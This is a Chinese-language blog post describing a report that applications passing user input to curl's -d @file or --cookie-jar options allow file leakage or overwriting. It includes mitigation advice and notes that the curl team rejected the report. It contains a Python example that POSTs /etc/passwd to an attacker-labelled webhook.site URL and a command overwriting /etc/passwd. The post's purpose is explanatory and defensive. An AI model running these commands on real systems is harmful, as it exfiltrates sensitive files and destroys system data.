curl任意文件读取漏洞:未过滤用户输入导致敏感文件泄露

本文详细分析了curl工具因未过滤用户输入导致的任意文件读取漏洞,攻击者可通过--cookie-jar参数或POST数据读取服务器敏感文件,并提供了攻击场景示例和防护建议。

任意文件读取漏洞:未过滤的curl使用导致敏感文件泄露

漏洞描述

应用程序在使用curl时,允许攻击者通过参数如--cookie-jar或POST数据(-d @file)指定任意文件路径。如果将不受信任的用户输入传递给这些参数,可能导致覆盖敏感文件或将服务器文件泄露到攻击者控制的外部服务器。这可能造成敏感数据泄露或拒绝服务。

影响

  • 敏感文件泄露(如/etc/passwd等文件)
  • 覆盖关键文件(如authorized_keys.env、配置文件等)
  • 可能危害自动化构建或CI环境的供应链安全

攻击场景

示例1:通过POST泄露文件

当用户输入控制curl命令中的文件路径时(如文件名或数据参数):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import subprocess

# 攻击者控制的端点
webhook_url = "https://webhook.site/fd9dfaf1-7ed0-446e-9c6f-e182f6b11e4e"
file_path = "/etc/passwd"

cmd = [
    "curl",
    "-X", "POST",
    "-d", f"@{file_path}",
    webhook_url
]

subprocess.run(cmd, check=True)

结果:/etc/passwd的全部内容将被POST到攻击者的服务器。这可以是系统上的任何敏感文件。

示例2:使用–cookie-jar覆盖文件

当攻击者可以控制传递给--cookie-jar的文件名时:

1
curl --cookie-jar /etc/passwd https://example.com

结果:目标文件(/etc/passwd)被cookie文件覆盖,破坏其原始内容。如果这是关键文件,应用程序/系统可能变得不可用。

修复建议

  • 永远不要在系统命令中使用未过滤的用户输入,特别是文件路径
  • 对所有文件输入进行过滤和验证
  • 如果必须允许用户提供的文件,使用严格的白名单机制并将文件存储在隔离的非敏感目录中
  • 避免在未经检查的情况下直接将用户输入传递给curl命令行

后续进展

curl团队认为这是curl的正常功能而非安全问题,最终将该报告标记为"不适用"并公开披露。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计